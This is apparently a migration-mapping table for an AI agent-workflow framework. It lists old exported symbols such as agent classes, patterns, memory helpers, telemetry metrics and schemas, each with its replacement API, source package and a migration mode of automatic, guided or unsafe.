| `ClaudeCodeAgent`                        | `An operator decision: subscription auth through the flows harness, or an API seat`          | `@smthrs/harness, @smthrs/agent/SeatResolver`                                   | guided    |
| `CodexAgent`                             | `An operator decision: subscription auth through the flows harness, or an API seat`          | `@smthrs/harness, @smthrs/agent/SeatResolver`                                   | guided    |
| `ContentPipeline`                        | `Node.bindPlanned`                                                                           | `@smthrs/plan/Node`                                                             | automatic |
| `ContinueAsNew`                          | `<flow>.to(payload) settling as Handoff`                                                     | `@smthrs/flow`                                                                  | guided    |
| `CursorAgent`                            | `A seat resolved by SeatResolver from the model this agent already names`                    | `@smthrs/agent/SeatResolver, @smthrs/model/Route`                               | guided    |
| `DC_EDIT_SIGNAL`                         | none                                                                                         | none                                                                            | unsafe    |
| `DC_SKIP_PREVIEW_SIGNAL`                 | none                                                                                         | none                                                                            | unsafe    |
| `DEFAULT_AGENT_CHECKPOINT_MAX_BYTES`     | `A seat resolved by SeatResolver`                                                            | `@smthrs/agent/SeatResolver`                                                    | guided    |
| `DEFAULT_DELEGATION_V2_LIMITS`           | none                                                                                         | none                                                                            | unsafe    |
| `DEFAULT_TIER_ORDER`                     | none                                                                                         | none                                                                            | unsafe    |
| `DELEGATION_V2_COMPILER_VERSION`         | none                                                                                         | none                                                                            | unsafe    |
| `DELEGATION_V2_PROGRAM_VERSION`          | none                                                                                         | none                                                                            | unsafe    |
| `DELEGATION_V2_PROTOCOL_VERSION`         | none                                                                                         | none                                                                            | unsafe    |
| `DELEGATION_V2_REGISTRY_VERSION`         | none                                                                                         | none                                                                            | unsafe    |
| `DELEGATION_V2_RUNTIME_VERSION`          | none                                                                                         | none                                                                            | unsafe    |
| `DELEGATION_V2_SETTLEMENT_VERSION`       | none                                                                                         | none                                                                            | unsafe    |
| `Debate`                                 | `Debate.make({ proponent, opponent, judge, rounds })`                                        | `@smthrs/patterns/Debate`                                                       | guided    |
| `DecisionTable`                          | `Node.branch`                                                                                | `@smthrs/plan/Node`                                                             | guided    |
| `DelegationChain`                        | `DelegationChain.make`                                                                       | `@smthrs/patterns/DelegationChain`                                              | guided    |
| `DelegationEditListener`                 | none                                                                                         | none                                                                            | unsafe    |
| `DelegationExecution`                    | none                                                                                         | none                                                                            | unsafe    |
| `DelegationPlanning`                     | none                                                                                         | none                                                                            | unsafe    |
| `DelegationPreview`                      | none                                                                                         | none                                                                            | unsafe    |
| `DelegationScoring`                      | none                                                                                         | none                                                                            | unsafe    |
| `DeriskLoop`                             | none                                                                                         | none                                                                            | unsafe    |
| `DriftDetector`                          | `DriftDetector.make`                                                                         | `@smthrs/patterns/DriftDetector`                                                | guided    |
| `ERROR_REFERENCE_URL`                    | `The tagged errors each package declares`                                                    | `@smthrs/kernel`                                                                | guided    |
| `EscalationChain`                        | `Escalation.run`                                                                             | `@smthrs/patterns/Escalation`                                                   | guided    |
| `ForgeAgent`                             | `A seat resolved by SeatResolver from the model this agent already names`                    | `@smthrs/agent/SeatResolver, @smthrs/model/Route`                               | guided    |
| `ForkFanOut`                             | `MapReduce.make({ map, reduce })`                                                            | `@smthrs/patterns/MapReduce`                                                    | guided    |
| `Gateway`                                | none                                                                                         | none                                                                            | unsafe    |
| `GatherAndSynthesize`                    | `MapReduce.make({ map, reduce, concurrency, onEmpty })`                                      | `@smthrs/patterns/MapReduce`                                                    | guided    |
| `GeminiAgent`                            | `A seat resolved by SeatResolver from the model this agent already names`                    | `@smthrs/agent/SeatResolver, @smthrs/model/Route`                               | guided    |
| `GoalRefinement`                         | none                                                                                         | none                                                                            | unsafe    |
| `GrokAgent`                              | `A seat resolved by SeatResolver from the model this agent already names`                    | `@smthrs/agent/SeatResolver, @smthrs/model/Route`                               | guided    |
| `HermesAgent`                            | `A seat resolved by SeatResolver from the model this agent already names`                    | `@smthrs/agent/SeatResolver, @smthrs/model/Route`                               | guided    |
| `HermesCliAgent`                         | `A seat resolved by SeatResolver from the model this agent already names`                    | `@smthrs/agent/SeatResolver, @smthrs/model/Route`                               | guided    |
| `HindsightMemoryStore`                   | `@smthrs/memory`                                                                             | `@smthrs/memory`                                                                | guided    |
| `HumanTask`                              | `StandardFlows.askFlow`                                                                      | `@smthrs/agent/StandardFlows`                                                   | guided    |
| `Kanban`                                 | `Kanban.make`                                                                                | `@smthrs/patterns/Kanban`                                                       | guided    |
| `KimiAgent`                              | `A seat resolved by SeatResolver from the model this agent already names`                    | `@smthrs/agent/SeatResolver, @smthrs/model/Route`                               | guided    |
| `LocalMemoryRuntime`                     | `@smthrs/memory`                                                                             | `@smthrs/memory`                                                                | guided    |
| `Loop`                                   | `ReviewLoop.run or Recursion.recurse`                                                        | `@smthrs/patterns/ReviewLoop, @smthrs/patterns/Recursion`                       | guided    |
| `MONITOR_CONDITIONS`                     | none                                                                                         | none                                                                            | unsafe    |
| `MONITOR_DEFAULT_AUTO_HEAL`              | none                                                                                         | none                                                                            | unsafe    |
| `MONITOR_TERMINAL_STATUSES`              | none                                                                                         | none                                                                            | unsafe    |
| `Memory`                                 | `MemoryStore and the memory flows bound by StandardFlows.memory`                             | `@smthrs/memory`                                                                | guided    |
| `MemoryService`                          | `@smthrs/memory`                                                                             | `@smthrs/memory`                                                                | guided    |
| `MemoryTrellis`                          | `MemoryTrellis`                                                                              | `@smthrs/memory/MemoryTrellis`                                                  | guided    |
| `MergeQueue`                             | `MergeQueue.make`                                                                            | `@smthrs/patterns/MergeQueue`                                                   | guided    |
| `Monitor`                                | none                                                                                         | none                                                                            | unsafe    |
| `NanocodexAgent`                         | `A seat resolved by SeatResolver from the model this agent already names`                    | `@smthrs/agent/SeatResolver, @smthrs/model/Route`                               | guided    |
| `OmpAgent`                               | `A seat resolved by SeatResolver from the model this agent already names`                    | `@smthrs/agent/SeatResolver, @smthrs/model/Route`                               | guided    |
| `OpenAIAgent`                            | `A seat resolved by SeatResolver from the model this agent already names`                    | `@smthrs/agent/SeatResolver, @smthrs/model/Route`                               | guided    |
| `OpenClawAgent`                          | `A seat resolved by SeatResolver from the model this agent already names`                    | `@smthrs/agent/SeatResolver, @smthrs/model/Route`                               | guided    |
| `OpenCodeAgent`                          | `An operator decision: subscription auth through the flows harness, or an API seat`          | `@smthrs/harness, @smthrs/agent/SeatResolver`                                   | guided    |
| `Optimizer`                              | `Optimizer.make`                                                                             | `@smthrs/patterns/Optimizer`                                                    | guided    |
| `Panel`                                  | `Panel.make({ panelists, moderator })`                                                       | `@smthrs/patterns/Panel`                                                        | guided    |
| `Parallel`                               | `Node.all({ ... })`                                                                          | `@smthrs/plan/Node`                                                             | automatic |
| `PiAgent`                                | `A seat resolved by SeatResolver from the model this agent already names`                    | `@smthrs/agent/SeatResolver, @smthrs/model/Route`                               | guided    |
| `Poller`                                 | `Recursion.recurse around Sleep.action`                                                      | `@smthrs/patterns/Recursion, @smthrs/flow/Sleep`                                | guided    |
| `PoolAgent`                              | `A seat resolved by SeatResolver from the model this agent already names`                    | `@smthrs/agent/SeatResolver, @smthrs/model/Route`                               | guided    |
| `Ralph`                                  | `Recursion.recurse`                                                                          | `@smthrs/patterns/Recursion`                                                    | guided    |
| `ReviewLoop`                             | `ReviewLoop.run(input, { maxRounds, produce, review, revise })`                              | `@smthrs/patterns/ReviewLoop`                                                   | guided    |
| `Runbook`                                | `Runbook.make`                                                                               | `@smthrs/patterns/Runbook`                                                      | automatic |
| `Saga`                                   | `Node.catch plus CompensationHandlers`                                                       | `@smthrs/plan/Node, @smthrs/time-travel/CompensationHandlers`                   | guided    |
| `SagaStep`                               | `Node.catch plus CompensationHandlers`                                                       | `@smthrs/plan/Node, @smthrs/time-travel/CompensationHandlers`                   | guided    |
| `Sandbox`                                | `WorkspaceSandbox, RemoteChildProcessSpawner, or std Container`                              | `@smthrs/engine-store/WorkspaceSandbox, @smthrs/sandbox, @smthrs/std/Container` | guided    |
| `ScanFixVerify`                          | `ReviewLoop.run`                                                                             | `@smthrs/patterns/ReviewLoop`                                                   | guided    |
| `Sequence`                               | `Node.bindPlanned`                                                                           | `@smthrs/plan/Node`                                                             | automatic |
| `Sidecar`                                | `Sidecar.make`                                                                               | `@smthrs/patterns/Sidecar`                                                      | guided    |
| `Signal`                                 | `WaitFor.action over DurableDeferred`                                                        | `@smthrs/flow/WaitFor`                                                          | automatic |
| `Smithers`                               | `Flow.make`                                                                                  | `@smthrs/flow/Flow`                                                             | automatic |
| `SmithersDb`                             | none                                                                                         | none                                                                            | unsafe    |
| `SmithersErrorInstance`                  | `The tagged errors each package declares`                                                    | `@smthrs/kernel`                                                                | guided    |
| `SmithersObservability`                  | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `SmithersRenderer`                       | `Graph.build(node)`                                                                          | `@smthrs/flow/Graph`                                                            | automatic |
| `Subflow`                                | `flow.child(payload) or flow.call(payload)`                                                  | `@smthrs/flow/Flow`                                                             | guided    |
| `Summarizer`                             | `@smthrs/memory`                                                                             | `@smthrs/memory`                                                                | guided    |
| `SuperSmithers`                          | none                                                                                         | none                                                                            | unsafe    |
| `Supervisor`                             | `Supervisor.make`                                                                            | `@smthrs/patterns/Supervisor`                                                   | guided    |
| `TUI`                                    | none                                                                                         | none                                                                            | unsafe    |
| `Task`                                   | `Action.make(tag, { payload, success }) with .toLayer, or AgentAction.make for a model step` | `@smthrs/flow/Action, @smthrs/agent/AgentAction`                                | automatic |
| `Task.browser`                           | none                                                                                         | none                                                                            | unsafe    |
| `Timer`                                  | `Sleep.action`                                                                               | `@smthrs/flow/Sleep`                                                            | automatic |
| `TokenLimiter`                           | `@smthrs/memory`                                                                             | `@smthrs/memory`                                                                | guided    |
| `Trellis`                                | `Trellis.make`                                                                               | `@smthrs/patterns/Trellis`                                                      | guided    |
| `TryCatchFinally`                        | `Node.catch and Flow.addFinalizer`                                                           | `@smthrs/plan/Node, @smthrs/flow/Flow`                                          | guided    |
| `TtlGarbageCollector`                    | `@smthrs/memory`                                                                             | `@smthrs/memory`                                                                | guided    |
| `UI`                                     | none                                                                                         | none                                                                            | unsafe    |
| `VibeAgent`                              | `A seat resolved by SeatResolver from the model this agent already names`                    | `@smthrs/agent/SeatResolver, @smthrs/model/Route`                               | guided    |
| `WaitForEvent`                           | `WaitFor.action over DurableDeferred`                                                        | `@smthrs/flow/WaitFor`                                                          | automatic |
| `Workflow`                               | `Flow.make(tag, { description, capabilities, effects, payload, success, error, body })`      | `@smthrs/flow/Flow`                                                             | automatic |
| `Worktree`                               | none                                                                                         | none                                                                            | unsafe    |
| `activeNodes`                            | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `activeRuns`                             | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `agentProducesCheckpoint`                | `A seat resolved by SeatResolver`                                                            | `@smthrs/agent/SeatResolver`                                                    | guided    |
| `agentSupportsCheckpoint`                | `A seat resolved by SeatResolver`                                                            | `@smthrs/agent/SeatResolver`                                                    | guided    |
| `aggregateScores`                        | `@smthrs/scorers, @smthrs/evals`                                                             | `@smthrs/scorers, @smthrs/evals`                                                | guided    |
| `approvalDecisionSchema`                 | none                                                                                         | none                                                                            | unsafe    |
| `approvalRankingSchema`                  | none                                                                                         | none                                                                            | unsafe    |
| `approvalSelectionSchema`                | none                                                                                         | none                                                                            | unsafe    |
| `approvalsDenied`                        | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `approvalsGranted`                       | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `approvalsRequested`                     | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `approveNode`                            | `Control.approve`                                                                            | `@smthrs/control/Control`                                                       | guided    |
| `attemptDuration`                        | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `bash`                                   | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | automatic |
| `cacheHits`                              | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `cacheMisses`                            | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `camelToSnake`                           | none                                                                                         | none                                                                            | unsafe    |
| `captureWorkingCopyCommit`               | none                                                                                         | none                                                                            | unsafe    |
| `cloneAgentCheckpoint`                   | `A seat resolved by SeatResolver`                                                            | `@smthrs/agent/SeatResolver`                                                    | guided    |
| `close`                                  | `The host layer's scope`                                                                     | `@smthrs/platform-node`                                                         | automatic |
| `closeSingleRunnerRuntime`               | none                                                                                         | none                                                                            | automatic |
| `compileDelegationV2Program`             | none                                                                                         | none                                                                            | unsafe    |
| `compileScenario`                        | `@smthrs/testing`                                                                            | `@smthrs/testing`                                                               | guided    |
| `computeSidecarDelta`                    | none                                                                                         | none                                                                            | unsafe    |
| `continueAsNew`                          | `<flow>.to(payload) settling as Handoff`                                                     | `@smthrs/flow`                                                                  | guided    |
| `coverWorkflow`                          | `@smthrs/testing`                                                                            | `@smthrs/testing`                                                               | guided    |
| `createDeepSeekUsageNormalizer`          | `A seat resolved by SeatResolver`                                                            | `@smthrs/agent/SeatResolver`                                                    | guided    |
| `createExternalSmithers`                 | none                                                                                         | none                                                                            | unsafe    |
| `createExternalSmithersEngine`           | none                                                                                         | none                                                                            | unsafe    |
| `createGrokCapabilityRegistry`           | `A seat resolved by SeatResolver`                                                            | `@smthrs/agent/SeatResolver`                                                    | guided    |
| `createHindsightMemoryStore`             | `@smthrs/memory`                                                                             | `@smthrs/memory`                                                                | guided    |
| `createHttpTool`                         | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | guided    |
| `createIsolatedClone`                    | `@smthrs/jj`                                                                                 | `@smthrs/jj`                                                                    | guided    |
| `createLocalMemoryRuntime`               | `@smthrs/memory`                                                                             | `@smthrs/memory`                                                                | guided    |
| `createMemoryLayer`                      | `@smthrs/memory`                                                                             | `@smthrs/memory`                                                                | guided    |
| `createMemoryStore`                      | `@smthrs/memory`                                                                             | `@smthrs/memory`                                                                | guided    |
| `createOmpCapabilityRegistry`            | `A seat resolved by SeatResolver`                                                            | `@smthrs/agent/SeatResolver`                                                    | guided    |
| `createOpenApiTool`                      | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | guided    |
| `createOpenApiToolSync`                  | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | guided    |
| `createOpenApiTools`                     | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | guided    |
| `createOpenApiToolsSync`                 | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | guided    |
| `createScorer`                           | `@smthrs/scorers, @smthrs/evals`                                                             | `@smthrs/scorers, @smthrs/evals`                                                | guided    |
| `createServeApp`                         | none                                                                                         | none                                                                            | unsafe    |
| `createSmithers`                         | `Flow.make(tag, { payload, success, error, body })`                                          | `@smthrs/flow/Flow`                                                             | automatic |
| `createSmithersCloudflare`               | none                                                                                         | none                                                                            | unsafe    |
| `createSmithersObservabilityLayer`       | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `createSmithersOtelLayer`                | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `createSmithersPostgres`                 | none                                                                                         | none                                                                            | unsafe    |
| `createSmithersRuntimeLayer`             | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `createVirtualClock`                     | `@smthrs/testing`                                                                            | `@smthrs/testing`                                                               | guided    |
| `ctx.boundStale`                         | none                                                                                         | none                                                                            | guided    |
| `ctx.input`                              | `The planned value in scope`                                                                 | `@smthrs/plan/Node`                                                             | automatic |
| `ctx.iteration`                          | `The planned value in scope`                                                                 | `@smthrs/plan/Node`                                                             | automatic |
| `ctx.iterationCount`                     | none                                                                                         | none                                                                            | guided    |
| `ctx.latest`                             | `The planned value in scope`                                                                 | `@smthrs/plan/Node`                                                             | automatic |
| `ctx.latestArray`                        | none                                                                                         | none                                                                            | guided    |
| `ctx.output`                             | `The planned value in scope`                                                                 | `@smthrs/plan/Node`                                                             | automatic |
| `ctx.outputMaybe`                        | `The planned value in scope`                                                                 | `@smthrs/plan/Node`                                                             | automatic |
| `ctx.prove`                              | `The planned value in scope`                                                                 | `@smthrs/plan/Node`                                                             | automatic |
| `ctx.recordDeferredDep`                  | none                                                                                         | none                                                                            | guided    |
| `ctx.requireTableName`                   | `The planned value in scope`                                                                 | `@smthrs/plan/Node`                                                             | automatic |
| `ctx.resolveRow`                         | `The planned value in scope`                                                                 | `@smthrs/plan/Node`                                                             | automatic |
| `ctx.resolveTableName`                   | `The planned value in scope`                                                                 | `@smthrs/plan/Node`                                                             | automatic |
| `ctx.resolveWorktreePath`                | none                                                                                         | none                                                                            | unsafe    |
| `ctx.runId`                              | `The planned value in scope`                                                                 | `@smthrs/plan/Node`                                                             | automatic |
| `ctx.worktreePath`                       | none                                                                                         | none                                                                            | unsafe    |
| `db.<member>`                            | none                                                                                         | none                                                                            | unsafe    |
| `dbQueryDuration`                        | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `dbRetries`                              | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `dbTransactionDuration`                  | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `dbTransactionRetries`                   | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `dbTransactionRollbacks`                 | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `dcApprovalSchema`                       | none                                                                                         | none                                                                            | unsafe    |
| `dcBudgetSchema`                         | none                                                                                         | none                                                                            | unsafe    |
| `dcDevPreviewSchema`                     | none                                                                                         | none                                                                            | unsafe    |
| `dcEditSchema`                           | none                                                                                         | none                                                                            | unsafe    |
| `dcExecSchema`                           | none                                                                                         | none                                                                            | unsafe    |
| `dcForecastSchema`                       | none                                                                                         | none                                                                            | unsafe    |
| `dcGatesSchema`                          | none                                                                                         | none                                                                            | unsafe    |
| `dcGoalApprovalSchema`                   | none                                                                                         | none                                                                            | unsafe    |
| `dcGoalSchema`                           | none                                                                                         | none                                                                            | unsafe    |
| `dcPlanSchema`                           | none                                                                                         | none                                                                            | unsafe    |
| `dcPollSchema`                           | none                                                                                         | none                                                                            | unsafe    |
| `dcPreviewSchema`                        | none                                                                                         | none                                                                            | unsafe    |
| `dcProbeSchema`                          | none                                                                                         | none                                                                            | unsafe    |
| `dcQuestionSchema`                       | none                                                                                         | none                                                                            | unsafe    |
| `dcReplanSchema`                         | none                                                                                         | none                                                                            | unsafe    |
| `dcReviewSchema`                         | none                                                                                         | none                                                                            | unsafe    |
| `dcScoreSchema`                          | none                                                                                         | none                                                                            | unsafe    |
| `dcSkipSchema`                           | none                                                                                         | none                                                                            | unsafe    |
| `defineTool`                             | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | guided    |
| `delegationPrompts`                      | none                                                                                         | none                                                                            | unsafe    |
| `delegationSchemas`                      | none                                                                                         | none                                                                            | unsafe    |
| `delegationV2AssignmentDigest`           | none                                                                                         | none                                                                            | unsafe    |
| `delegationV2ProgramDigest`              | none                                                                                         | none                                                                            | unsafe    |
| `delegationV2Schemas`                    | none                                                                                         | none                                                                            | unsafe    |
| `denyNode`                               | `Control.deny`                                                                               | `@smthrs/control/Control`                                                       | guided    |
| `devPreviewKindSchema`                   | none                                                                                         | none                                                                            | unsafe    |
| `docs`                                   | `Text pointing at .smithers/flows/, smthrs flow start, and report.md`                        | none                                                                            | guided    |
| `dryRun`                                 | `@smthrs/testing`                                                                            | `@smthrs/testing`                                                               | guided    |
| `e2eHarness`                             | `@smthrs/testing`                                                                            | `@smthrs/testing`                                                               | guided    |
| `edit`                                   | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | automatic |
| `editFileTool`                           | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | automatic |
| `enforceDelegationV2AuthorFuel`          | none                                                                                         | none                                                                            | unsafe    |
| `ensureSmithersTables`                   | none                                                                                         | none                                                                            | unsafe    |
| `errorToJson`                            | `The tagged errors each package declares`                                                    | `@smthrs/kernel`                                                                | guided    |
| `estimateCostUsd`                        | `Pricing.cost(usage, modelId)`                                                               | `@smthrs/model/Pricing`                                                         | guided    |
| `estimateSchema`                         | none                                                                                         | none                                                                            | unsafe    |
| `executeChildWorkflow`                   | `flow.child(payload)`                                                                        | `@smthrs/flow/Flow`                                                             | guided    |
| `expectFullCoverage`                     | `@smthrs/testing`                                                                            | `@smthrs/testing`                                                               | guided    |
| `externalWaitAsyncPending`               | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `faithfulnessScorer`                     | `@smthrs/scorers, @smthrs/evals`                                                             | `@smthrs/scorers, @smthrs/evals`                                                | guided    |
| `fakeAgent`                              | `@smthrs/testing`                                                                            | `@smthrs/testing`                                                               | guided    |
| `fallbackAgents`                         | `An operator decision: subscription auth through the flows harness, or an API seat`          | `@smthrs/harness, @smthrs/agent/SeatResolver`                                   | guided    |
| `fragment`                               | none                                                                                         | none                                                                            | automatic |
| `gateSchema`                             | none                                                                                         | none                                                                            | unsafe    |
| `getDefinedToolMetadata`                 | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | automatic |
| `getJjPointer`                           | `@smthrs/jj`                                                                                 | `@smthrs/jj`                                                                    | guided    |
| `getRun`                                 | `Control.list`                                                                               | `@smthrs/control/Control`                                                       | guided    |
| `getSmithersErrorDefinition`             | `The tagged errors each package declares`                                                    | `@smthrs/kernel`                                                                | guided    |
| `getSmithersErrorDocsUrl`                | `The tagged errors each package declares`                                                    | `@smthrs/kernel`                                                                | guided    |
| `getToolContext`                         | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | automatic |
| `getToolIdempotencyKey`                  | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | automatic |
| `gitDirtyPaths`                          | `@smthrs/jj`                                                                                 | `@smthrs/jj`                                                                    | guided    |
| `grep`                                   | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | automatic |
| `grepTool`                               | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | automatic |
| `hashAgentCheckpointCapabilities`        | `A seat resolved by SeatResolver`                                                            | `@smthrs/agent/SeatResolver`                                                    | guided    |
| `hashCapabilityRegistry`                 | `A seat resolved by SeatResolver`                                                            | `@smthrs/agent/SeatResolver`                                                    | guided    |
| `hotReloadDuration`                      | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `hotReloadFailures`                      | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `hotReloads`                             | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `httpRequestDuration`                    | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `httpRequests`                           | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `integrationHarness`                     | `@smthrs/testing`                                                                            | `@smthrs/testing`                                                               | guided    |
| `isJjRepo`                               | `@smthrs/jj`                                                                                 | `@smthrs/jj`                                                                    | guided    |
| `isKnownSmithersErrorCode`               | `The tagged errors each package declares`                                                    | `@smthrs/kernel`                                                                | guided    |
| `isSmithersError`                        | `The tagged errors each package declares`                                                    | `@smthrs/kernel`                                                                | guided    |
| `isolatedCloneEnvironment`               | `@smthrs/jj`                                                                                 | `@smthrs/jj`                                                                    | guided    |
| `knownSmithersErrorCodes`                | `The tagged errors each package declares`                                                    | `@smthrs/kernel`                                                                | guided    |
| `latencyScorer`                          | `@smthrs/scorers, @smthrs/evals`                                                             | `@smthrs/scorers, @smthrs/evals`                                                | guided    |
| `listGitRefs`                            | `@smthrs/jj`                                                                                 | `@smthrs/jj`                                                                    | guided    |
| `listOperations`                         | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | guided    |
| `listRuns`                               | `Control.list`                                                                               | `@smthrs/control/Control`                                                       | guided    |
| `llmJudge`                               | `@smthrs/scorers, @smthrs/evals`                                                             | `@smthrs/scorers, @smthrs/evals`                                                | guided    |
| `loadOutputs`                            | none                                                                                         | none                                                                            | unsafe    |
| `loadOutputsEffect`                      | none                                                                                         | none                                                                            | unsafe    |
| `makeHarness`                            | `@smthrs/testing`                                                                            | `@smthrs/testing`                                                               | guided    |
| `makeReplayBundle`                       | `@smthrs/testing`                                                                            | `@smthrs/testing`                                                               | guided    |
| `markdownComponents`                     | none                                                                                         | none                                                                            | automatic |
| `mdx-prompt`                             | `prompt: (payload) => string, or .smithers/flows/<name>/flow.mdx`                            | `@smthrs/agent/AgentAction, @smthrs/registry/MarkdownFlow`                      | automatic |
| `mdxPlugin`                              | none                                                                                         | none                                                                            | automatic |
| `memoryFactReads`                        | `@smthrs/memory`                                                                             | `@smthrs/memory`                                                                | guided    |
| `memoryFactWrites`                       | `@smthrs/memory`                                                                             | `@smthrs/memory`                                                                | guided    |
| `memoryMessageSaves`                     | `@smthrs/memory`                                                                             | `@smthrs/memory`                                                                | guided    |
| `memoryRecallDuration`                   | `@smthrs/memory`                                                                             | `@smthrs/memory`                                                                | guided    |
| `memoryRecallQueries`                    | `@smthrs/memory`                                                                             | `@smthrs/memory`                                                                | guided    |
| `migrateSmithersStore`                   | none                                                                                         | none                                                                            | unsafe    |
| `modelTokenPrices`                       | `@smthrs/scorers, @smthrs/evals`                                                             | `@smthrs/scorers, @smthrs/evals`                                                | guided    |
| `monitorAuthorityRules`                  | none                                                                                         | none                                                                            | unsafe    |
| `monitorEvidenceRules`                   | none                                                                                         | none                                                                            | unsafe    |
| `monitorHealthSignals`                   | none                                                                                         | none                                                                            | unsafe    |
| `monitorPrompt`                          | none                                                                                         | none                                                                            | unsafe    |
| `monitorReadPathRules`                   | none                                                                                         | none                                                                            | unsafe    |
| `namespaceToString`                      | `@smthrs/memory`                                                                             | `@smthrs/memory`                                                                | guided    |
| `nextToolSeq`                            | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | automatic |
| `nodeDuration`                           | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `nodesFailed`                            | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `nodesFinished`                          | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `nodesStarted`                           | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `openApiToolCallErrorsTotal`             | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | guided    |
| `openApiToolCallsTotal`                  | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | guided    |
| `openApiToolDuration`                    | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | guided    |
| `openSmithersBackend`                    | none                                                                                         | none                                                                            | unsafe    |
| `openSmithersStore`                      | none                                                                                         | none                                                                            | unsafe    |
| `outputs.<key>`                          | `The planned value in scope`                                                                 | `@smthrs/plan/Node`                                                             | automatic |
| `package.json`                           | `@smthrs/* at the migrator's own version and effect at 4.0.5`                                | none                                                                            | automatic |
| `parseNamespace`                         | `@smthrs/memory`                                                                             | `@smthrs/memory`                                                                | guided    |
| `partitionDelegationV2AuthorFuel`        | none                                                                                         | none                                                                            | unsafe    |
| `prometheusContentType`                  | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `read`                                   | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | automatic |
| `readFileTool`                           | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | automatic |
| `relevancyScorer`                        | `@smthrs/scorers, @smthrs/evals`                                                             | `@smthrs/scorers, @smthrs/evals`                                                | guided    |
| `renderFrame`                            | `Graph.build(node)`                                                                          | `@smthrs/flow/Graph`                                                            | automatic |
| `renderMdx`                              | none                                                                                         | none                                                                            | automatic |
| `renderPrometheusMetrics`                | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `renderPrompt`                           | `@smthrs/testing`                                                                            | `@smthrs/testing`                                                               | guided    |
| `renderWorkflow`                         | `@smthrs/testing`                                                                            | `@smthrs/testing`                                                               | guided    |
| `reopenSingleRunnerRuntime`              | none                                                                                         | none                                                                            | automatic |
